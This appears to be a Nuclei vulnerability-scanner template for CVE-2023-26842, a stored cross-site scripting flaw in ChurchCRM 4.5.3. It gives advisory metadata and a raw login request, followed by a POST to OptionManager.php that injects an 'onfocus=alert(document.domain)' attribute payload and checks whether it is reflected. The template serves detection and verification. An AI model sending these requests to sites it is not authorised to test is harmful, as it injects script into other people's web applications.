id: CVE-2023-26842 info: name: ChurchCRM 4.5.3 - Cross-Site Scripting author: Harsh severity: medium description: | A stored Cross-site scripting (XSS) vulnerability in ChurchCRM 4.5.3 allows remote attackers to inject arbitrary web script or HTML via the OptionManager.php. remediation: | Upgrade to a patched version of ChurchCRM or apply the necessary security patches to mitigate the XSS vulnerability. reference: - https://github.com/10splayaSec/CVE-Disclosures/tree/main/ChurchCRM/CVE-2023-26842 - https://nvd.nist.gov/vuln/detail/CVE-2023-26842 classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N cvss-score: 5.4 cve-id: CVE-2023-26842 cwe-id: CWE-79 epss-score: 0.00148 epss-percentile: 0.5058 cpe: cpe:2.3:a:churchcrm:churchcrm:4.5.3:*:*:*:*:*:*:* metadata: verified: true max-request: 2 vendor: churchcrm product: churchcrm tags: cve,cve2023,churchcrm,stored-xss,xss,authenticated http: - raw: - | POST /session/begin HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded User={{username}}&Password={{password}} - | POST /OptionManager.php?mode=classes&ListID=1 HTTP/1.1 Host: {{Hostname}} Content-Type: application/x-www-form-urlencoded 1name=Member&2name=Regular+Attender&3name=Guest&4name=Non-Attender&5name=Non-Attender+%28staff%29&newFieldName=" onfocus=alert(document.domain) autofocus="&AddField=Add+New+Person+Classification redirects: true matchers: - type: dsl dsl: - 'status_code_2 == 200' - 'contains(content_type_2, "text/html")' - 'contains(body_2, "onfocus=alert(document.domain) autofocus=")' - 'contains(body_2, "ChurchCRM")' condition: and extractors: - type: regex name: nonce group: 1 regex: - 'id="form_session_token" value="(.*)" type="hidden"' internal: true # digest: 4a0a00473045022100bc001314a3380f96e3ee4b6f0109162c34816e0e42b5607d3a15f5d89eed6dcf0220048fc5e9f385e96546c2be94e97ea9ab9f4c355bd134c8dc3ee91f972a2ad993:922c64590222798bb761d5b6d8e72950